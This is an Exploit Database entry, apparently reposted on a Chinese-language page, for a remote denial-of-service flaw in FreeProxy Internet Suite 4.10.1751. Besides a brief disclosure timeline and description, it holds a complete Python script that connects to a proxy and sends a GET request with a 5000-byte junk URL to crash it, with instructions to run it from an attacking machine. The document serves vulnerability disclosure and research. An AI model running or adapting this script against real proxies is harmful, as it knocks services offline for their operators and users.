FreeProxy Internet Suite 4.10 – Denial of Service

• Exploit Database
• 105 阅读

• 作者： Guillaume Kaddouch
  日期： 2016-03-02
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/39517/
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  # Exploit Title: Freeproxy Internet Suite 4.10 Remote DoS # Date: 01/03/2016 # Exploit Author: Guillaume Kaddouch # Twitter: @gkweb76 # Blog: https://networkfilter.blogspot.com # GitHub: https://github.com/gkweb76/exploits # Vendor Homepage: http://www.handcraftedsoftware.org/ # Software Link: http://www.handcraftedsoftware.org/index.php?page=download&op=getFile&id=2&title=FreeProxy-Internet-Suite # Version: 4.10.1751 # Tested on: Windows 7 Family x64 (FR) # Category: DoS   """ Disclosure Timeline: -------------------- 2016-01-29: Vulnerability discovered 2016-01-30: Vendor contacted 2016-03-01: Vulnerability published   Description : ------------- A remote Denial Of Service exists in Freeproxy Internet Suite 4.10.1751 when sending a GET request to the proxy with an overly long URL.   Instructions: ------------- - Starts Freeproxy Internet Suite - Run this exploit locally or from your remote attacking machine. Multiple sends may be necessary to crash the application. """   import socket   host= "192.168.135.132" port= 8080   junk= '\x41' * 5000   buffer= "GET http://::../%s/index.html HTTP/1.1\r\n" % junk buffer += "Host: www.google.fr\r\n" buffer += "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1\r\n" buffer += "\r\n\r\n"   try: print "[*] Connecting to %s:%d" % (host, port) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)   print "[*] Sending buffer %d bytes..." % len(junk) s.connect((host, port)) s.send(buffer) s.close()   print "[*] Done." except: print "[-] Error connecting"